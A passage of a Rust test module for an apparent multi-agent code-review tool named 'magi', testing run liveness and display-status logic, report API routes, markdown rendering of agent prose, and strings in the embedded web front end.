14058 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14059 let f = Fixture::start().await;
14060 let id = "20260922-090100-dddd";
14061 let mut state = RunState::new(
14062 PathBuf::from("/repo/magi"),
14063 "main".to_owned(),
14064 "0123456789abcdef".to_owned(),
14065 "Review only".to_owned(),
14066 Config::default(),
14067 );
14068 state.id = id.to_owned();
14069 state.status = RunStatus::Reviewing;
14070 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14071 state.driver_pid = Some(std::process::id());
14076 state.driver_started_at = Some("1".to_owned());
14077 let dir = f.runs().join(id);
14078 std::fs::create_dir_all(&dir).expect("run dir");
14079 std::fs::write(
14080 dir.join("run.json"),
14081 serde_json::to_string_pretty(&state).expect("serialize run"),
14082 )
14083 .expect("write run.json");
14084
14085 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14086 assert_eq!(detail["live"], "dead", "{detail}");
14087 }
14088
14089 #[test]
14093 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14094 let mk = |id: &str, pid: Option<u32>| {
14095 let mut s = RunState::new(
14096 PathBuf::from("/repo/magi"),
14097 "main".to_owned(),
14098 "0123456789abcdef".to_owned(),
14099 "Add a web UI".to_owned(),
14100 Config::default(),
14101 );
14102 s.id = id.to_owned();
14103 s.driver_pid = pid;
14104 s.driver_started_at = Some("1790000000".to_owned());
14105 s
14106 };
14107 let states = vec![
14108 mk("20260902-140502-aaaa", Some(77)),
14109 mk("20260902-140502-bbbb", Some(77)),
14110 mk("20260902-140502-cccc", Some(77)),
14111 mk("20260902-140502-dddd", None),
14112 ];
14113 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14114 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14115 let sup: HashMap<String, String> = [(
14116 "20260902-140502-aaaa".to_owned(),
14117 "20260902-140502-cccc".to_owned(),
14118 )]
14119 .into();
14120
14121 let status_calls = std::cell::Cell::new(0);
14122 let identity_calls = std::cell::Cell::new(0);
14123 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14124 |_| {
14125 status_calls.set(status_calls.get() + 1);
14126 Some(true)
14127 },
14128 |_| {
14129 identity_calls.set(identity_calls.get() + 1);
14130 Some("1790000000".to_owned())
14131 },
14132 ));
14133 let rows = summarize(
14134 states,
14135 &open,
14136 &claimed,
14137 &sup,
14138 |p| probe.borrow_mut().status(p),
14139 |p| probe.borrow_mut().started_at(p),
14140 );
14141
14142 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14143 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14144 assert_eq!(rows.len(), 4);
14145 assert!(!rows[0].waiting && rows[1].waiting);
14146 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14147 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14148 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14149 assert_eq!(rows[1].superseded_by, None);
14150 }
14151
14152 #[test]
14153 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14154 let mut state = RunState::new(
14155 PathBuf::from("/repo/magi"),
14156 "main".to_owned(),
14157 "0123456789abcdef".to_owned(),
14158 "Review only".to_owned(),
14159 Config::default(),
14160 );
14161 state.id = "20260922-090200-dead".to_owned();
14162 state.status = RunStatus::Reviewing;
14163 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14164 .expect("serialize list row");
14165 assert_eq!(row["status"], "reviewing");
14166 assert_eq!(row["display_status"], "stale");
14167 assert_eq!(row["live"], "dead", "{row}");
14168 assert!(!row["done"].as_bool().unwrap());
14169 }
14170
14171 #[test]
14172 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14173 use crate::run::Liveness::{Dead, Live, Unknown};
14174 let mut state = RunState::new(
14175 PathBuf::from("/repo/magi"),
14176 "main".to_owned(),
14177 "abc".to_owned(),
14178 "Review only".to_owned(),
14179 Config::default(),
14180 );
14181 for (status, parked, node, waiting, live, expected) in [
14182 (
14183 RunStatus::Judging,
14184 true,
14185 "github-text",
14186 false,
14187 Dead,
14188 "parked",
14189 ),
14190 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14191 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14192 (
14193 RunStatus::Judging,
14194 true,
14195 "github-text",
14196 true,
14197 Dead,
14198 "waiting",
14199 ),
14200 (
14201 RunStatus::Judging,
14202 false,
14203 "github-text",
14204 true,
14205 Dead,
14206 "waiting",
14207 ),
14208 (
14209 RunStatus::Judging,
14210 false,
14211 "github-text",
14212 false,
14213 Dead,
14214 "stale",
14215 ),
14216 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14217 (RunStatus::Judging, true, "park", false, Live, "judging"),
14218 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14219 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14220 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14221 (
14222 RunStatus::Blocked,
14223 true,
14224 "github-text",
14225 true,
14226 Dead,
14227 "waiting",
14228 ),
14229 ] {
14230 state.status = status;
14231 state.parked = parked;
14232 state.events.clear();
14233 state.event(
14234 "park",
14235 "an earlier park does not determine the latest state",
14236 );
14237 state.event(node, "message is not used for classification");
14238 let summary = RunSummary::of(&state, waiting, live);
14239 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14240 assert_eq!(
14241 summary.display_status, expected,
14242 "{status:?}/{node}/{live:?}"
14243 );
14244 assert_eq!(detail.display_status, summary.display_status);
14245 assert_eq!(detail.waiting, summary.waiting);
14246 }
14247 state.status = RunStatus::Judging;
14248 state.parked = false;
14249 state.events.clear();
14250 assert_eq!(run_display_status(&state, false, Dead), "stale");
14251 }
14252
14253 #[tokio::test]
14254 async fn run_display_status_routes_share_the_open_question_store() {
14255 let f = Fixture::start().await;
14256 let id = "20260922-090200-abcd";
14257 write_run(&f.runs(), id, RunStatus::Judging);
14258 let mut state = read_run(&f.runs(), id).unwrap();
14259 state.parked = true;
14260 state.driver_exited = true;
14261 state.event("github-text", "waiting for the owner");
14262 state.save_under(f.home.path()).unwrap();
14263 let store = f.questions();
14264 let mut q = Question::new(
14265 id.to_owned(),
14266 "github-text".to_owned(),
14267 "owner".to_owned(),
14268 "Approve the text?".to_owned(),
14269 String::new(),
14270 Vec::new(),
14271 );
14272 store.put(&mut q).unwrap();
14273 for expected in ["waiting", "parked"] {
14274 let list = f.get("/api/runs").await.json();
14275 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14276 assert_eq!(list[0]["display_status"], expected);
14277 assert_eq!(detail["display_status"], expected);
14278 assert_eq!(detail["waiting"], list[0]["waiting"]);
14279 q.status = ask::QuestionStatus::Answered;
14280 store.put(&mut q).unwrap();
14281 }
14282 }
14283
14284 #[tokio::test]
14285 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14286 let f = Fixture::start().await;
14287 let id = "20260922-090200-abcd";
14288 write_run(&f.runs(), id, RunStatus::Judging);
14289 let mut state = read_run(&f.runs(), id).unwrap();
14290 state.parked = true;
14291 state.driver_exited = true;
14292 state.event("park", "stopped at a node boundary");
14293 state.save_under(f.home.path()).unwrap();
14294
14295 for expected in ["parked", "stale"] {
14296 let list = f.get("/api/runs").await.json();
14297 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14298 assert_eq!(list[0]["live"], "dead");
14299 assert_eq!(list[0]["display_status"], expected);
14300 assert_eq!(detail["display_status"], expected);
14301 state.parked = false;
14304 state.save_under(f.home.path()).unwrap();
14305 }
14306 }
14307
14308 #[tokio::test]
14309 async fn the_run_list_is_newest_first_and_honours_a_limit() {
14310 let f = Fixture::start().await;
14311 for id in [
14312 "20260902-140501-aaaa",
14313 "20260902-140502-bbbb",
14314 "20260902-140503-cccc",
14315 ] {
14316 write_run(&f.runs(), id, RunStatus::Merged);
14317 }
14318
14319 let all = f.get("/api/runs").await.json();
14320 let capped = f.get("/api/runs?limit=2").await.json();
14321
14322 assert_eq!(all[0]["id"], "20260902-140503-cccc");
14323 assert_eq!(all.as_array().map(Vec::len), Some(3));
14324 assert_eq!(capped.as_array().map(Vec::len), Some(2));
14325 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14326 }
14327
14328 #[tokio::test]
14329 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14330 let f = Fixture::start().await;
14331 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14332
14333 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14334
14335 assert_eq!(res.status, 200);
14336 assert!(
14337 res.headers
14338 .contains("content-type: text/plain; charset=utf-8"),
14339 "a browser must render it, not download it: {}",
14340 res.headers
14341 );
14342 assert!(
14346 res.body.contains("20260902-140501-a1b2"),
14347 "the report is about the run that was asked for: {}",
14348 res.body
14349 );
14350 }
14351
14352 #[tokio::test]
14353 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14354 crate::run::pin_test_home();
14356 let f = Fixture::start().await;
14357 let id = "20260902-140501-a1b2";
14358 write_run(&f.runs(), id, RunStatus::Stalled);
14359 let path = f.runs().join(id).join("run.json");
14362 let mut v: serde_json::Value =
14363 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14364 v["tally"] = serde_json::json!({
14365 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14366 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14367 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14368 "met_quorum": false, "rankings": 1
14369 });
14370 v["reviews"] = serde_json::json!([{
14371 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14372 "e2e_deferred": true,
14373 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14374 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14375 ]}]
14376 }]);
14377 std::fs::write(&path, v.to_string()).unwrap();
14378 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14379 std::fs::write(
14380 f.runs().join("20260902-140502-dead").join("run.json"),
14381 "{not json",
14382 )
14383 .unwrap();
14384
14385 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14386
14387 assert_eq!(res.status, 200, "{}", res.body);
14388 assert!(res.headers.contains("content-type: application/json"));
14389 let j = res.json();
14390 assert_eq!(j["schema"], 1);
14391 assert_eq!(j["header"]["id"], id);
14392 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14393 let kinds: Vec<&str> = j["sections"]
14394 .as_array()
14395 .unwrap()
14396 .iter()
14397 .map(|s| s["kind"].as_str().unwrap())
14398 .collect();
14399 assert_eq!(kinds, ["candidates", "tally", "review"]);
14400 let tally = &j["sections"][1]["tally"];
14401 assert_eq!(
14402 (tally["decided"].clone(), tally["provisional"].clone()),
14403 (false.into(), true.into())
14404 );
14405 let round = &j["sections"][2]["rounds"][0];
14406 assert_eq!(round["e2e"]["state"], "deferred");
14407 assert_eq!(round["findings"][0]["severity"], "major");
14408 assert_eq!(round["findings"][0]["blocking"], true);
14409 assert_eq!(round["findings"][0]["state"], "open");
14410
14411 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14413
14414 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14416 assert_ne!(bad.status, 200, "{}", bad.body);
14417 assert_eq!(
14418 bad.status,
14419 f.get("/api/runs/20260902-140502-dead/report").await.status
14420 );
14421 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14422 assert_eq!(
14423 f.get("/api/runs/20260902-999999-ffff/report.json")
14424 .await
14425 .status,
14426 404
14427 );
14428 }
14429
14430 #[tokio::test]
14431 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14432 crate::run::pin_test_home();
14433 let f = Fixture::start().await;
14434 let id = "20260902-140503-delib";
14435 write_run(&f.runs(), id, RunStatus::Merged);
14436 let path = f.runs().join(id).join("run.json");
14437 let mut v: serde_json::Value =
14438 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14439 v["judgements"] = serde_json::json!([
14440 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14441 ]);
14442 v["tally"] = serde_json::json!({
14443 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14444 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14445 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14446 "met_quorum": true, "rankings": 1
14447 });
14448 v["deliberation"] = serde_json::json!([
14449 {
14450 "round": 1,
14451 "turns": [
14452 {
14453 "judge": 1,
14454 "agent": "judge-1",
14455 "body": "I prefer candidate **A** because it has cleaner tests.",
14456 "tentative": "A"
14457 }
14458 ]
14459 },
14460 {
14461 "round": 2,
14462 "turns": [
14463 {
14464 "judge": 1,
14465 "agent": "judge-1",
14466 "body": "Still thinking, no choice yet.",
14467 "tentative": null
14468 }
14469 ]
14470 }
14471 ]);
14472 std::fs::write(&path, v.to_string()).unwrap();
14473
14474 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14475 assert_eq!(res.status, 200, "{}", res.body);
14476 let j = res.json();
14477 let judging = j["sections"]
14478 .as_array()
14479 .unwrap()
14480 .iter()
14481 .find(|s| s["kind"] == "judging")
14482 .expect("judging section exists");
14483
14484 let delib_lines = judging["deliberation"].as_array().unwrap();
14486 assert_eq!(delib_lines.len(), 2);
14487 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14488 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14489
14490 let rounds = judging["rounds"].as_array().unwrap();
14492 assert_eq!(rounds.len(), 2);
14493 let r1_t0 = &rounds[0]["turns"][0];
14494 assert_eq!(r1_t0["judge"], 1);
14495 assert_eq!(r1_t0["agent"], "judge-1");
14496 assert_eq!(r1_t0["tentative"], "A");
14497 assert_eq!(
14498 r1_t0["body"],
14499 "I prefer candidate **A** because it has cleaner tests."
14500 );
14501 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14502
14503 let r2_t0 = &rounds[1]["turns"][0];
14504 assert_eq!(r2_t0["judge"], 1);
14505 assert_eq!(r2_t0["agent"], "judge-1");
14506 assert!(r2_t0["tentative"].is_null());
14507 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14508 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14509
14510 let id_empty = "20260902-140504-nodelib";
14512 write_run(&f.runs(), id_empty, RunStatus::Merged);
14513 let path_empty = f.runs().join(id_empty).join("run.json");
14514 let mut v_empty: serde_json::Value =
14515 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14516 v_empty["judgements"] = serde_json::json!([
14517 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14518 ]);
14519 v_empty["deliberation"] = serde_json::json!([]);
14520 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14521
14522 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14523 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14524 let j_empty = res_empty.json();
14525 let judging_empty = j_empty["sections"]
14526 .as_array()
14527 .unwrap()
14528 .iter()
14529 .find(|s| s["kind"] == "judging")
14530 .expect("judging section exists");
14531 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14532 }
14533
14534 #[tokio::test]
14535 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14536 let f = Fixture::start().await;
14537
14538 let html = f.get("/").await;
14539 let css = f.get("/app.css").await;
14540 let js = f.get("/app.js").await;
14541
14542 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14543 assert!(
14544 html.headers
14545 .contains("content-type: text/html; charset=utf-8")
14546 );
14547 assert!(css.headers.contains("content-type: text/css"));
14548 assert!(js.headers.contains("content-type: text/javascript"));
14549 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14550 }
14551
14552 #[test]
14553 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14554 let body = |name: &str| {
14555 let at = APP_JS
14556 .find(name)
14557 .unwrap_or_else(|| panic!("{name} missing"));
14558 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14559 };
14560 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14561 let note = body("function landRoundNote");
14562 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14563 assert!(note.contains("Land round ${round}"));
14564 let land = body("function renderLand");
14565 let note_at = land
14566 .find("landRoundNote(pr)")
14567 .expect("renderLand uses the note");
14568 assert!(
14569 note_at
14570 < land
14571 .find("roundRail(pr)")
14572 .expect("renderLand uses the rail")
14573 );
14574 }
14575
14576 #[test]
14577 fn the_runs_page_redesign_keeps_its_guards() {
14578 let body = |name: &str| {
14579 let at = APP_JS
14580 .find(name)
14581 .unwrap_or_else(|| panic!("{name} missing"));
14582 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14583 };
14584 let land = body("function renderLand");
14586 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14587 assert!(
14588 !land.contains("box.append("),
14589 "renderLand must use append()"
14590 );
14591 assert!(land.contains("append(box, ["));
14592 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14594 assert!(
14595 body("function applyRoute")
14596 .contains("route.name !== state.route.name || route.id !== state.route.id")
14597 );
14598 assert!(!APP_JS.contains("adviseConvergeDiagram"));
14600 assert!(!INDEX_HTML.contains("advise-converge"));
14601 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14602 assert!(APP_JS.contains("provisional"));
14603 for id in [
14604 "run-tab-overview",
14605 "run-tab-timeline",
14606 "run-tab-report",
14607 "run-report",
14608 "runs-scope",
14609 ] {
14610 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14611 }
14612 assert!(!INDEX_HTML.contains("runs-tree"));
14613 assert!(!INDEX_HTML.contains("run-raw-panel"));
14614 assert!(APP_JS.contains("resume"));
14616 assert!(APP_JS.contains("unreadable"));
14618 }
14619
14620 #[test]
14621 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14622 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14623 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14624 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
14625 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14626 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14627 assert!(APP_JS.contains("unreadable` : null"));
14629 }
14630
14631 #[test]
14632 fn the_run_detail_payload_says_whether_the_run_is_done() {
14633 for (status, done) in [
14635 (RunStatus::Superseded, true),
14636 (RunStatus::Blocked, true),
14637 (RunStatus::Landing, false),
14638 ] {
14639 let mut state = RunState::new(
14640 std::path::PathBuf::from("/repo"),
14641 "main".to_owned(),
14642 "abc".to_owned(),
14643 "x".to_owned(),
14644 crate::config::Config::default(),
14645 );
14646 state.status = status;
14647 let v = serde_json::to_value(RunDetailView::of(
14648 state,
14649 false,
14650 crate::run::Liveness::Unknown,
14651 None,
14652 None,
14653 None,
14654 ))
14655 .unwrap();
14656 assert_eq!(v["done"], done, "{status:?}");
14657 }
14658 }
14659
14660 fn has_strong(nodes: &[md::Node]) -> bool {
14662 serde_json::to_string(nodes).unwrap().contains("strong")
14663 }
14664
14665 #[test]
14666 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14667 let mut state = RunState::new(
14668 std::path::PathBuf::from("/repo"),
14669 "main".to_owned(),
14670 "abc".to_owned(),
14671 "x".to_owned(),
14672 crate::config::Config::default(),
14673 );
14674 let proposal = |approach: &str| {
14675 serde_json::json!({
14676 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14677 })
14678 };
14679 state.advice = Some(
14680 serde_json::from_value(serde_json::json!({
14681 "records": [
14682 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14683 "proposal": proposal("do **this**")},
14684 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14685 ],
14686 "synthesis": "- one\n- **two**\n\n`code`",
14687 }))
14688 .unwrap(),
14689 );
14690 state.candidates = serde_json::from_value(serde_json::json!([
14691 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14692 "summary": "did **it**"},
14693 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14694 ]))
14695 .unwrap();
14696 state.reviews = serde_json::from_value(serde_json::json!([{
14699 "round": 1, "head": "h",
14700 "reviews": [{
14701 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14702 "findings": [
14703 {"severity": "nit", "title": "t1", "detail": "plain nit"},
14704 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14705 ],
14706 }],
14707 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14708 "fix": {"agent": "a", "notes": "fixed **it**",
14709 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14710 }, {"round": 2, "head": "h2", "reviews": []}]))
14711 .unwrap();
14712
14713 let v = serde_json::to_value(RunDetailView::of(
14714 state,
14715 false,
14716 crate::run::Liveness::Unknown,
14717 None,
14718 None,
14719 None,
14720 ))
14721 .unwrap();
14722
14723 let strong = |p: &str| {
14724 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14725 assert!(n.to_string().contains("strong"), "{p}: {n}");
14726 };
14727 strong("/advice_md/synthesis");
14728 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14729 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14730 strong("/advice_md/approaches/0");
14731 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14732 strong("/candidate_summaries_md/0");
14733 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14734 strong("/reviews_md/0/reviewers/0/summary");
14735 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14736 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14737 assert!(f[1].to_string().contains("strong"));
14738 strong("/reviews_md/0/reconsideration/0");
14739 strong("/reviews_md/0/fix/notes");
14740 strong("/reviews_md/0/fix/rejected/0");
14741 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14742 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14743 assert_eq!(v["candidates"][0]["summary"], "did **it**");
14745 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14746 }
14747
14748 #[test]
14749 fn a_run_without_advice_has_no_advice_md() {
14750 let state = RunState::new(
14751 std::path::PathBuf::from("/repo"),
14752 "main".to_owned(),
14753 "abc".to_owned(),
14754 "x".to_owned(),
14755 crate::config::Config::default(),
14756 );
14757 let p = run_prose_md(&state);
14758 assert!(p.advice_md.is_none());
14759 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14760 }
14761
14762 #[test]
14763 fn a_question_view_carries_markdown_for_each_thread_turn() {
14764 let home = TempDir::new().unwrap();
14765 let store = ask::Questions::at(home.path().join("questions"));
14766 let mut q = Question::new(
14767 "run".to_owned(),
14768 "implement".to_owned(),
14769 "impl-A".to_owned(),
14770 "which?".to_owned(),
14771 String::new(),
14772 Vec::new(),
14773 );
14774 q.say("plain words").unwrap();
14775 q.reply("use **this**", Vec::new()).unwrap();
14776 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14777 let bodies = &v["thread_bodies_md"];
14778 assert_eq!(bodies.as_array().unwrap().len(), 2);
14779 assert!(!bodies[0].to_string().contains("strong"));
14780 assert!(bodies[1].to_string().contains("strong"));
14781 }
14782
14783 #[test]
14784 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14785 let home = TempDir::new().unwrap();
14786 let store = ask::Questions::at(home.path().join("questions"));
14787 let mut q = Question::new(
14788 "run".to_owned(),
14789 "conduct".to_owned(),
14790 "conduct".to_owned(),
14791 "which?".to_owned(),
14792 String::new(),
14793 Vec::new(),
14794 );
14795 q.say("plain words").unwrap();
14796 q.thread.push(ask::Turn {
14797 who: ask::Who::Agent,
14798 body: "Settled as `merge`".to_owned(),
14799 at: jiff::Timestamp::now(),
14800 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14801 });
14802 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14803 let notes = &v["thread_notes_md"];
14804 assert_eq!(notes.as_array().unwrap().len(), 2);
14805 assert!(notes[0].is_null());
14806 let text = notes[1].to_string();
14807 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14808 assert!(APP_JS.contains("ask-turn-note"));
14809 }
14810
14811 #[test]
14812 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14813 assert!(APP_JS.contains("function landView(run, raw) {"));
14817 assert!(
14818 APP_JS.contains(
14819 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14820 )
14821 );
14822 assert!(APP_JS.contains("const pr = landView(run, raw);"));
14823 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14824 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14825 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14826 }
14827
14828 #[test]
14829 fn live_runs_are_never_hidden_or_folded_as_superseded() {
14830 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
14831 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14832 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14833 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14834 }
14835
14836 #[test]
14837 fn review_rounds_label_a_distinct_verified_head() {
14838 assert!(APP_JS.contains("round.verified_head"));
14839 assert!(APP_JS.contains("verified HEAD"));
14840 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14841 }
14842
14843 #[test]
14844 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14845 assert!(APP_JS.contains("blocked: { glyph:"));
14849 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14850
14851 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14855 assert!(
14856 APP_JS.contains(
14857 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14858 ),
14859 "the note line must name what a blocked task is waiting on, not just that it is blocked"
14860 );
14861 assert!(APP_JS.contains("if (status === \"blocked\") {"));
14865
14866 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14870 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14871 assert!(
14872 APP_JS.contains("location.hash = \"#/questions\";"),
14873 "a question node must jump to the Questions screen, not pretend to be a task"
14874 );
14875
14876 assert!(APP_JS.contains("Resolved questions"));
14879 assert!(APP_JS.contains("r.answersList.append("));
14880 assert!(APP_CSS.contains(".task-answers"));
14881 {
14882 let start = APP_JS
14883 .find("function updateTalkTaskRow")
14884 .expect("updateTalkTaskRow");
14885 let body = &APP_JS[start..];
14886 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14887 assert!(
14888 body.contains(
14889 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14890 ),
14891 "a chat-filed task row must link to the task page"
14892 );
14893 assert!(
14894 !body.contains("#/runs/") && !body.contains("#/queue/"),
14895 "the row must not branch to a run or the queue card"
14896 );
14897 assert!(APP_CSS.contains(".talk-task-link"));
14898 }
14899 }
14900
14901 #[test]
14902 fn a_task_notification_links_to_the_task_page() {
14903 let start = APP_JS
14905 .find("function noticeLink(")
14906 .expect("noticeLink exists");
14907 let body = &APP_JS[start..];
14908 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14909 assert!(
14910 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14911 "a task notice's link must target the task page"
14912 );
14913 assert!(
14914 !body.contains("#/queue/"),
14915 "regression: the task link must not go back to the Backlog route"
14916 );
14917 assert!(
14918 APP_JS.contains(
14919 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14920 ),
14921 "`#/tasks/<id>` must parse into the task route"
14922 );
14923
14924 assert!(
14926 APP_JS.contains(
14927 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14928 ),
14929 "`#/queue/<id>` must parse into a route carrying that id"
14930 );
14931
14932 assert!(APP_JS.contains("state.queueFocus = route.id;"));
14936 assert!(APP_JS.contains("function consumeQueueFocus()"));
14937 assert!(APP_JS.contains("jumpToTask(id)"));
14938 }
14939
14940 #[test]
14943 fn chat_rows_put_the_title_alone_on_the_first_line() {
14944 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
14945 assert!(APP_CSS.contains(
14946 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
14947 ));
14948 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
14949 assert!(APP_JS.contains("class: \"badge talk-unread\""));
14950 }
14951
14952 #[test]
14953 fn run_rows_put_the_title_alone_on_the_first_line() {
14954 assert!(
14955 APP_CSS.contains(
14956 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
14957 )
14958 );
14959 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
14960 assert!(APP_JS.contains("class: \"card run-card\""));
14961 assert!(APP_JS.contains("class: \"repo run-id\""));
14962 }
14963
14964 #[test]
14968 fn wide_screens_show_list_and_preview_side_by_side() {
